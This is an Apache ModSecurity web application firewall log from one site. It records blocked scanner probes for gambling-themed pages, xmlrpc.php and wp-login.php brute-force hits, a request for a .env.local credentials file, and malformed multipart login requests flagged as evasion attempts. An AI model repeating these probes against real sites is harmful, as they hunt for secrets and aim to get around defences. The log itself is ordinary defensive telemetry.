[Mon Feb 16 07:40:02.602314 2026] [:error] [pid 4349:tid 4422] [client 51.75.129.164:44118] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZJZUsrbZYafUL_3QfwdKwAAAIA"]
[Mon Feb 16 07:40:04.514950 2026] [:error] [pid 4349:tid 4426] [client 51.75.129.164:44134] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZJZVMrbZYafUL_3QfwdNgAAAIQ"]
[Mon Feb 16 07:40:06.557937 2026] [:error] [pid 4455:tid 4465] [client 51.75.129.164:36384] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZJZVgNa-4dvQCL0ruqhdAAAAMg"]
[Mon Feb 16 07:40:08.428616 2026] [:error] [pid 4347:tid 4391] [client 51.75.129.164:36396] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZJZWDFcjv6pEAnSEie-TQAAABc"]
[Mon Feb 16 07:40:10.337389 2026] [:error] [pid 37004:tid 37020] [client 51.75.129.164:36406] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZJZWlXWqA9gxE5oGmZJswAAAQ4"]
[Mon Feb 16 07:40:12.383982 2026] [:error] [pid 4347:tid 4385] [client 51.75.129.164:36408] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZJZXDFcjv6pEAnSEie-VQAAABE"]
[Mon Feb 16 07:40:14.288137 2026] [:error] [pid 37004:tid 37012] [client 51.75.129.164:36420] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZJZXlXWqA9gxE5oGmZJtgAAAQY"]
[Mon Feb 16 07:40:16.325662 2026] [:error] [pid 4455:tid 4464] [client 51.75.129.164:50996] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZJZYANa-4dvQCL0ruqhgQAAAMc"]
[Mon Feb 16 07:40:18.372603 2026] [:error] [pid 4347:tid 4374] [client 51.75.129.164:51012] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZJZYjFcjv6pEAnSEie-YAAAAAY"]
[Mon Feb 16 07:40:20.415871 2026] [:error] [pid 4348:tid 4406] [client 51.75.129.164:51014] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZJZZHxbK-cCGKg9ayughAAAAEs"]
[Mon Feb 16 07:40:22.303814 2026] [:error] [pid 4348:tid 4397] [client 51.75.129.164:51028] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZJZZnxbK-cCGKg9ayughgAAAEI"]
[Mon Feb 16 07:40:24.338993 2026] [:error] [pid 4455:tid 4460] [client 51.75.129.164:51036] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZJZaANa-4dvQCL0ruqhiAAAAMM"]
[Mon Feb 16 07:40:26.339477 2026] [:error] [pid 4455:tid 4458] [client 51.75.129.164:38596] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZJZagNa-4dvQCL0ruqhjgAAAME"]
[Mon Feb 16 07:40:28.215960 2026] [:error] [pid 4347:tid 4371] [client 51.75.129.164:38604] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZJZbDFcjv6pEAnSEie-bwAAAAM"]
[Mon Feb 16 07:40:29.943987 2026] [:error] [pid 4347:tid 4381] [client 51.75.129.164:38610] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZJZbTFcjv6pEAnSEie-cQAAAA0"]
[Mon Feb 16 07:41:05.723788 2026] [:error] [pid 4349:tid 4440] [client 51.75.129.164:38624] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZJZkcrbZYafUL_3QfwdlgAAAJI"]
[Mon Feb 16 07:41:07.527286 2026] [:error] [pid 4349:tid 4428] [client 51.75.129.164:51502] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZJZk8rbZYafUL_3QfwdlwAAAIY"]
[Mon Feb 16 07:41:09.555502 2026] [:error] [pid 4348:tid 4401] [client 51.75.129.164:51504] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZJZlXxbK-cCGKg9ayuhGQAAAEY"]
[Mon Feb 16 07:41:11.447843 2026] [:error] [pid 37004:tid 37025] [client 51.75.129.164:51512] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aZJZl1XWqA9gxE5oGmZKBAAAARM"]
[Mon Feb 16 07:41:13.479545 2026] [:error] [pid 4349:tid 4436] [client 51.75.129.164:51522] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aZJZmcrbZYafUL_3QfwdngAAAI4"]
[Mon Feb 16 07:41:15.353744 2026] [:error] [pid 4455:tid 4458] [client 51.75.129.164:51532] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aZJZmwNa-4dvQCL0ruqhxAAAAME"]
[Mon Feb 16 07:41:17.382690 2026] [:error] [pid 4455:tid 4464] [client 51.75.129.164:46114] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZJZnQNa-4dvQCL0ruqhxgAAAMc"]
[Mon Feb 16 07:41:19.414928 2026] [:error] [pid 37004:tid 37020] [client 51.75.129.164:46118] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aZJZn1XWqA9gxE5oGmZKEwAAAQ4"]
[Mon Feb 16 07:41:21.307248 2026] [:error] [pid 4347:tid 4387] [client 51.75.129.164:46132] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZJZoTFcjv6pEAnSEie-pQAAABM"]
[Mon Feb 16 10:18:33.589989 2026] [:error] [pid 4455:tid 4476] [client 43.133.69.37:60988] [client 43.133.69.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZJ-eQNa-4dvQCL0rurefQAAANM"]
[Mon Feb 16 11:01:46.479516 2026] [:error] [pid 4349:tid 4429] [client 198.54.126.134:45038] [client 198.54.126.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.126.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZKImsrbZYafUL_3QfxiswAAAIc"]
[Mon Feb 16 11:01:50.941433 2026] [:error] [pid 4348:tid 4404] [client 89.46.109.106:34856] [client 89.46.109.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.109.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZKInnxbK-cCGKg9ayvzsQAAAEk"]
[Mon Feb 16 11:02:16.230682 2026] [:error] [pid 4349:tid 4433] [client 193.202.110.29:47154] [client 193.202.110.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.202.110.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZKIuMrbZYafUL_3QfxiygAAAIs"]
[Mon Feb 16 11:02:57.801499 2026] [:error] [pid 4347:tid 4378] [client 47.121.189.155:37992] [client 47.121.189.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.121.189.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZKI4TFcjv6pEAnSEicLtwAAAAo"]
[Mon Feb 16 15:10:01.277682 2026] [:error] [pid 26648:tid 26668] [client 49.51.52.250:36728] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZLCyTT55fUixS3gmyjD9gAAAY8"]
[Mon Feb 16 16:16:12.495448 2026] [:error] [pid 4347:tid 4369] [client 121.43.140.64:57362] [client 121.43.140.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.43.140.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZLSTDFcjv6pEAnSEidr6QAAAAE"]
[Mon Feb 16 16:16:22.146343 2026] [:error] [pid 4348:tid 4406] [client 121.43.140.64:35100] [client 121.43.140.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.43.140.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZLSVnxbK-cCGKg9aytaJAAAAEs"]
[Mon Feb 16 16:16:26.949851 2026] [:error] [pid 4349:tid 4431] [client 64.110.107.179:39576] [client 64.110.107.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.110.107.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZLSWsrbZYafUL_3Qfy62gAAAIk"]
[Mon Feb 16 16:16:44.187596 2026] [:error] [pid 38888:tid 38907] [client 34.39.68.128:38414] [client 34.39.68.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.39.68.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZLSbKmDoBJWPvV4pcMN2gAAAVA"]
[Mon Feb 16 16:16:48.925395 2026] [:error] [pid 26648:tid 26656] [client 122.114.195.191:48380] [client 122.114.195.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.114.195.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZLScDT55fUixS3gmyjizAAAAYM"]
[Mon Feb 16 16:17:00.789002 2026] [:error] [pid 26648:tid 26658] [client 104.28.222.46:41842] [client 104.28.222.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZLSfDT55fUixS3gmyji1AAAAYU"]
[Mon Feb 16 16:17:06.356638 2026] [:error] [pid 4347:tid 4374] [client 136.115.203.250:38738] [client 136.115.203.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.203.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZLSgjFcjv6pEAnSEidsDwAAAAY"]
[Mon Feb 16 16:17:11.510482 2026] [:error] [pid 4455:tid 4479] [client 198.54.126.134:33850] [client 198.54.126.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.126.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZLShwNa-4dvQCL0rupIqAAAANY"]
[Mon Feb 16 16:17:13.221585 2026] [:error] [pid 37004:tid 37008] [client 103.143.231.246:42136] [client 103.143.231.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.143.231.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZLSiVXWqA9gxE5oGmbudQAAAQI"]
[Mon Feb 16 16:17:47.488632 2026] [:error] [pid 4347:tid 4378] [client 190.115.35.14:38510] [client 190.115.35.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.115.35.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZLSqzFcjv6pEAnSEidsMAAAAAo"], referer: https://gigfragments.org/wp-login.php
[Mon Feb 16 16:17:49.389916 2026] [:error] [pid 4347:tid 4383] [client 190.115.35.14:38510] [client 190.115.35.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.115.35.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZLSrTFcjv6pEAnSEidsMQAAAA8"], referer: http://streambasket.com/wp-login.php
[Mon Feb 16 17:17:49.793939 2026] [:error] [pid 38888:tid 38913] [client 34.60.99.92:53072] [client 34.60.99.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.99.92, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZLgvamDoBJWPvV4pcMjcgAAAVY"]
[Mon Feb 16 19:22:17.843568 2026] [:error] [pid 37004:tid 37020] [client 160.178.45.103:62446] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aZL96VXWqA9gxE5oGmYbxwAAAQ4"], referer: https://www.youtube.com/watch?v=abcdEFGHijk&feature=share
[Mon Feb 16 19:23:12.938687 2026] [:error] [pid 37004:tid 37021] [client 160.178.45.103:56204] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/login"] [unique_id "aZL-IFXWqA9gxE5oGmYcGQAAAQ8"]
[Mon Feb 16 19:23:13.555984 2026] [:error] [pid 37004:tid 37021] [client 160.178.45.103:56204] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/login"] [unique_id "aZL-IFXWqA9gxE5oGmYcGQAAAQ8"]
[Mon Feb 16 19:23:13.556075 2026] [:error] [pid 37004:tid 37021] [client 160.178.45.103:56204] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/login"] [unique_id "aZL-IFXWqA9gxE5oGmYcGQAAAQ8"]
[Mon Feb 16 19:23:39.874730 2026] [:error] [pid 4348:tid 4404] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-O3xbK-cCGKg9ayuapwAAAEk"]
[Mon Feb 16 19:23:39.874826 2026] [:error] [pid 4348:tid 4404] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-O3xbK-cCGKg9ayuapwAAAEk"]
[Mon Feb 16 19:23:45.643657 2026] [:error] [pid 4348:tid 4408] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-PXxbK-cCGKg9ayuaqAAAAE0"]
[Mon Feb 16 19:23:45.643778 2026] [:error] [pid 4348:tid 4408] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-PXxbK-cCGKg9ayuaqAAAAE0"]
[Mon Feb 16 19:23:47.614906 2026] [:error] [pid 4348:tid 4409] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-Q3xbK-cCGKg9ayuaswAAAE4"]
[Mon Feb 16 19:23:47.615352 2026] [:error] [pid 4348:tid 4409] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-Q3xbK-cCGKg9ayuaswAAAE4"]
[Mon Feb 16 19:23:47.615406 2026] [:error] [pid 4348:tid 4409] [client 160.178.45.103:60760] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth"] [unique_id "aZL-Q3xbK-cCGKg9ayuaswAAAE4"]
